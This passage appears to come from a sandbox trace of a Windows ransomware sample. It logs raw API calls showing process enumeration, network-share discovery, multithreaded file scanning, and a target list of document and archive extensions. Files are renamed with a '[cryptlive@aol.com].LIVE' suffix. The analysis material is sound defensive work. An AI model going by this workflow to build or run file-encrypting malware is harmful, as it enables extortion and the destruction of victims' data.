lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.729] lstrlenW (lpString="svchost.exe") returned 11 [0169.729] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0169.729] lstrlenW (lpString="audiodg.exe") returned 11 [0169.729] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.729] lstrlenW (lpString="svchost.exe") returned 11 [0169.729] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0169.730] lstrlenW (lpString="explorer.exe") returned 12 [0169.730] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0169.730] lstrlenW (lpString="dwm.exe") returned 7 [0169.730] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.731] lstrlenW (lpString="svchost.exe") returned 11 [0169.731] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0169.731] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0169.731] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0169.731] lstrlenW (lpString="spoolsv.exe") returned 11 [0169.731] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0169.732] lstrlenW (lpString="reader_sl.exe") returned 13 [0169.732] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.732] lstrlenW (lpString="svchost.exe") returned 11 [0169.732] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0169.733] lstrlenW (lpString="taskhost.exe") returned 12 [0169.733] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0169.733] lstrlenW (lpString="dllhost.exe") returned 11 [0169.733] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0169.733] lstrlenW (lpString="taskhost.exe") returned 12 [0169.733] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0169.734] lstrlenW (lpString="dllhost.exe") returned 11 [0169.734] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0169.734] lstrlenW (lpString="dllhost.exe") returned 11 [0169.734] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0169.735] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0169.735] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0169.735] lstrlenW (lpString="cmd.exe") returned 7 [0169.735] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0169.736] lstrlenW (lpString="conhost.exe") returned 11 [0169.736] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0169.736] CloseHandle (hObject=0x1ec) returned 1 [0169.736] Sleep (dwMilliseconds=0x1f4) Thread: id = 73 os_tid = 0x51c [0168.036] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0xffffffff) Thread: id = 74 os_tid = 0x604 [0168.036] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5dde70 [0168.036] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5dde70, Size=0x20) returned 0x5a5ff8 [0168.036] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a5ff8, Size=0x40) returned 0x5a8888 [0168.036] GetLogicalDrives () returned 0x4 [0168.037] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x5cc4b0 [0168.037] GetComputerNameW (in: lpBuffer=0x5cc4b4, nSize=0x242ff6c | out: lpBuffer="XDUWTFONO", nSize=0x242ff6c) returned 1 [0168.037] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1000) returned 0x5e2040 [0168.037] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x242ff3c | out: lphEnum=0x242ff3c*=0x5a6568) returned 0x0 [0168.038] WNetEnumResourceW (in: hEnum=0x5a6568, lpcCount=0x242ff38, lpBuffer=0x5e2040, lpBufferSize=0x242ff40 | out: lpcCount=0x242ff38, lpBuffer=0x5e2040, lpBufferSize=0x242ff40) returned 0x103 [0168.038] WNetCloseEnum (hEnum=0x5a6568) returned 0x0 [0168.038] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x242ff3c | out: lphEnum=0x242ff3c*=0x5e3330) returned 0x0 [0168.051] WNetEnumResourceW (in: hEnum=0x5e3330, lpcCount=0x242ff38, lpBuffer=0x5e2040, lpBufferSize=0x242ff40 | out: lpcCount=0x242ff38, lpBuffer=0x5e2040, lpBufferSize=0x242ff40) returned 0x0 [0168.051] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1000) returned 0x5e4388 [0168.051] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x5e2040, lphEnum=0x242ff10 | out: lphEnum=0x242ff10*=0x5a66e8) returned 0x0 [0168.078] WNetEnumResourceW (in: hEnum=0x5a66e8, lpcCount=0x242ff0c, lpBuffer=0x5e4388, lpBufferSize=0x242ff14 | out: lpcCount=0x242ff0c, lpBuffer=0x5e4388, lpBufferSize=0x242ff14) returned 0x103 [0168.078] WNetCloseEnum (hEnum=0x5a66e8) returned 0x0 [0168.078] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1000) returned 0x5e70e8 [0168.078] WNetOpenEnumW (dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x5e2060, lphEnum=0x242ff10) Thread: id = 75 os_tid = 0x358 [0168.054] GetTickCount () returned 0x113aaf0 [0168.054] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x24) returned 0x5e57c0 [0168.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e57c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c [0168.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e57c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0168.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e57c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0168.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e57c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x148 [0168.057] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de0b0 [0168.057] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5de0b0, Size=0x20) returned 0x5e3908 [0168.057] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de0b0 [0168.057] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5de0b0, Size=0x20) returned 0x5e3930 [0168.057] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0168.057] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0168.057] Wow64DisableWow64FsRedirection (in: OldValue=0x252ff84 | out: OldValue=0x252ff84*=0x0) returned 1 [0168.057] lstrlenW (lpString="kernel32.dll") returned 12 [0168.057] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e3908 | out: hHeap=0x570000) returned 1 [0168.057] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0168.057] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e3930 | out: hHeap=0x570000) returned 1 [0168.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x5aa878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c [0168.058] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0168.202] GetTickCount () returned 0x113ab8c [0168.202] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0168.451] GetTickCount () returned 0x113ac85 [0168.451] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0168.703] GetTickCount () returned 0x113ad7f [0168.703] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0169.229] GetTickCount () returned 0x113af91 [0169.229] GetTickCount () returned 0x113af91 [0169.230] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0169.706] GetTickCount () returned 0x113b165 [0169.706] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0169.935] GetTickCount () returned 0x113b24f [0169.935] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) returned 0x102 [0170.204] GetTickCount () returned 0x113b358 [0170.204] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x64) Thread: id = 76 os_tid = 0x618 [0168.059] GetTickCount () returned 0x113aaf0 [0168.059] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x24) returned 0x5e54f8 [0168.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e54f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x150 [0168.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e54f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x154 [0168.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e54f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x158 [0168.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e54f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c [0168.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de0b0 [0168.062] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5de0b0, Size=0x20) returned 0x5e3908 [0168.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de0b0 [0168.062] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5de0b0, Size=0x20) returned 0x5e3778 [0168.063] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0168.063] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0168.063] Wow64DisableWow64FsRedirection (in: OldValue=0x262ff84 | out: OldValue=0x262ff84*=0x0) returned 1 [0168.063] lstrlenW (lpString="kernel32.dll") returned 12 [0168.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e3908 | out: hHeap=0x570000) returned 1 [0168.063] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0168.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e3778 | out: hHeap=0x570000) returned 1 [0168.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x5eec90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x160 [0168.064] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0168.266] GetTickCount () returned 0x113abca [0168.266] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0168.486] GetTickCount () returned 0x113aca4 [0168.486] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0168.703] GetTickCount () returned 0x113ad7f [0168.703] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0169.230] GetTickCount () returned 0x113af91 [0169.230] GetTickCount () returned 0x113af91 [0169.230] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0169.707] GetTickCount () returned 0x113b165 [0169.707] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0169.935] GetTickCount () returned 0x113b24f [0169.935] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0170.204] GetTickCount () returned 0x113b358 [0170.204] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) Thread: id = 77 os_tid = 0x78c [0168.190] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10000) returned 0x3bc56c8 [0168.191] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10000) returned 0x4020048 [0168.192] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de2f0 [0168.192] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6) returned 0x5de518 [0168.192] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de308 [0168.192] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100000) returned 0x4220020 [0168.193] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de2d8 [0168.193] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5de2d8, Size=0x20) returned 0x5e3bd8 [0168.193] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de2d8 [0168.193] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5de2d8, Size=0x20) returned 0x5e3c78 [0168.193] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0168.194] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0168.194] Wow64DisableWow64FsRedirection (in: OldValue=0x2b2ff58 | out: OldValue=0x2b2ff58*=0x0) returned 1 [0168.194] lstrlenW (lpString="kernel32.dll") returned 12 [0168.194] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e3bd8 | out: hHeap=0x570000) returned 1 [0168.194] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0168.194] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e3c78 | out: hHeap=0x570000) returned 1 [0168.194] lstrcmpiW (lpString1=".ini", lpString2=".LIVE") returned -1 [0168.194] lstrlenW (lpString="desktop.ini") returned 11 [0168.194] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0168.195] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=129) returned 1 [0168.195] CloseHandle (hObject=0x1c0) returned 1 [0168.195] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0168.195] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[cryptlive@aol.com].live")) returned 0x26 [0168.195] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0168.195] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0168.195] lstrlenW (lpString=".doc") returned 4 [0168.195] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0168.195] lstrlenW (lpString=".docx") returned 5 [0168.196] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0168.196] lstrlenW (lpString=".pdf") returned 4 [0168.196] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0168.196] lstrlenW (lpString=".xls") returned 4 [0168.196] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0168.196] lstrlenW (lpString=".xlsx") returned 5 [0168.196] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0168.196] lstrlenW (lpString=".ppt") returned 4 [0168.196] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0168.196] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0168.196] lstrlenW (lpString=".zip") returned 4 [0168.196] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0168.196] lstrlenW (lpString=".rar") returned 4 [0168.196] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0168.196] lstrlenW (lpString=".bz2") returned 4 [0168.196] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0168.196] lstrlenW (lpString=".7z") returned 3 [0168.196] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0168.196] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0168.196] lstrlenW (lpString=".dbf") returned 4 [0168.196] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0168.196] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0168.196] lstrlenW (lpString=".1cd") returned 4 [0168.196] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0168.196] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0168.196] lstrlenW (lpString=".jpg") returned 4 [0168.196] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0168.197] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0168.197] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0168.197] lstrlenW (lpString=".doc") returned 4 [0168.197] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0168.197] lstrlenW (lpString=".docx") returned 5 [0168.197] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0168.197] lstrlenW (lpString=".pdf") returned 4 [0168.197] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0168.197] lstrlenW (lpString=".xls") returned 4 [0168.197] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0168.197] lstrlenW (lpString=".xlsx") returned 5 [0168.197] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0168.197] lstrlenW (lpString=".ppt") returned 4 [0168.197] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0168.197] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0168.197] lstrlenW (lpString=".zip") returned 4 [0168.197] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0168.197] lstrlenW (lpString=".rar") returned 4 [0168.197] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0168.197] lstrlenW (lpString=".bz2") returned 4 [0168.197] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0168.197] lstrlenW (lpString=".7z") returned 3 [0168.197] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0168.197] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0168.197] lstrlenW (lpString=".dbf") returned 4 [0168.197] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0168.197] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0168.197] lstrlenW (lpString=".1cd") returned 4 [0168.198] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0168.198] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0168.198] lstrlenW (lpString=".jpg") returned 4 [0168.198] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0168.198] lstrcmpiW (lpString1=".LOG", lpString2=".LIVE") returned 1 [0168.198] lstrlenW (lpString="BCD.LOG") returned 7 [0168.198] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.198] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0168.198] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0168.198] lstrlenW (lpString=".doc") returned 4 [0168.198] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0168.198] lstrlenW (lpString=".docx") returned 5 [0168.198] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0168.198] lstrlenW (lpString=".pdf") returned 4 [0168.198] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0168.198] lstrlenW (lpString=".xls") returned 4 [0168.198] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0168.198] lstrlenW (lpString=".xlsx") returned 5 [0168.198] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0168.198] lstrlenW (lpString=".ppt") returned 4 [0168.199] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0168.199] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0168.199] lstrlenW (lpString=".zip") returned 4 [0168.199] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0168.199] lstrlenW (lpString=".rar") returned 4 [0168.199] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0168.199] lstrlenW (lpString=".bz2") returned 4 [0168.199] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0168.199] lstrlenW (lpString=".7z") returned 3 [0168.199] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0168.199] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0168.199] lstrlenW (lpString=".dbf") returned 4 [0168.199] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0168.199] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0168.199] lstrlenW (lpString=".1cd") returned 4 [0168.199] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0168.199] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0168.199] lstrlenW (lpString=".jpg") returned 4 [0168.199] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0168.199] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0168.199] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0168.199] lstrlenW (lpString=".doc") returned 4 [0168.199] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0168.199] lstrlenW (lpString=".docx") returned 5 [0168.199] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0168.200] lstrlenW (lpString=".pdf") returned 4 [0168.200] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0168.200] lstrlenW (lpString=".xls") returned 4 [0168.200] 